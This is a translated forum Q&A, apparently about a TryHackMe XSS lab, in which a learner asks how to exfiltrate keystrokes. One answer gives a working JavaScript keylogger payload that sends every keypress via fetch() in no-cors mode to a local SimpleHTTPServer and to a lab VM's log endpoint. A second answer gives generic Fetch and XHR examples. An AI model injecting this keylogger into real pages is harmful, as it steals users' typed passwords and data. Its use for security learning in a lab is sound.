发送 Javascript 数据到 SimpleHTTPServer

Send Javascript data to SimpleHTTPServer

我正在 tryhackme.com (https://tryhackme.com/room/xss) 上进行 xss 挑战。第 7 个任务要求我使用一个简单的键盘记录器

 <script type="text/javascript">
 let l = "";
 document.onkeypress = function (e) {
   l += e.key;
   console.log(l);
 }
</script> 

并将输入发送到 http://<vm ip>/log/<this data will be logged>,因为这将记录可以通过转到 http://<vm ip>/logs 查看的击键。我已经尝试过 window.location 之类的方法,但无法正常工作。

为了进一步学习,我还想将数据发送到端口 8000 上的 SimpleHTTPServer 运行,这样密钥就会显示在我的终端中在网页上输入。我无法让它工作。

有人可以告诉我怎么做吗?

不,我没有恶意。我正在学习,因为我想从事网络安全工作。如果我是恶意的,我只会使用我在 GitHub 上找到的脚本或其他不了解它们如何工作的脚本。

谢谢。

由于 SimpleHTTPServer 会记录它收到的每个请求,您可以使用 fetch() 发出 GET 请求并在其中传递数据。

<script type="text/javascript">
    let l = "";
    document.onkeypress = function (e) {
      l += e.key;
      console.log(l);

       fetch(`http://127.0.0.1:8000?logger=${l}`, { mode: 'no-cors'});
    }
</script> 

这会给你这样的东西:

要将数据发送到 VM,您也可以使用 fetch,就像这样:

fetch(`http://VM_IP/log/${l}`, { mode: 'no-cors'});

排除很多打包资源,可以使用简单的WEBAPI来达到这个目的。这里我简单介绍两个WEB APIs

获取API

The Fetch API provides a JavaScript interface for accessing and manipulating parts of the HTTP pipeline, such as requests and responses.

fetch('http://example.com/movies.json')
  .then(function(response) {
    return response.json();
  })
  .then(function(myJson) {
    console.log(myJson);
  });

XMLHttpRequest API

XMLHttpRequest (XHR) objects are used to interact with servers. You can retrieve data from a URL without having to do a full page refresh. This enables a Web page to update just part of a page without disrupting what the user is doing.

function reqListener () {
  console.log(this.responseText);
}
var oReq = new XMLHttpRequest();
oReq.addEventListener("load", reqListener);
oReq.open("GET", "http://www.example.org/example.txt");
oReq.send();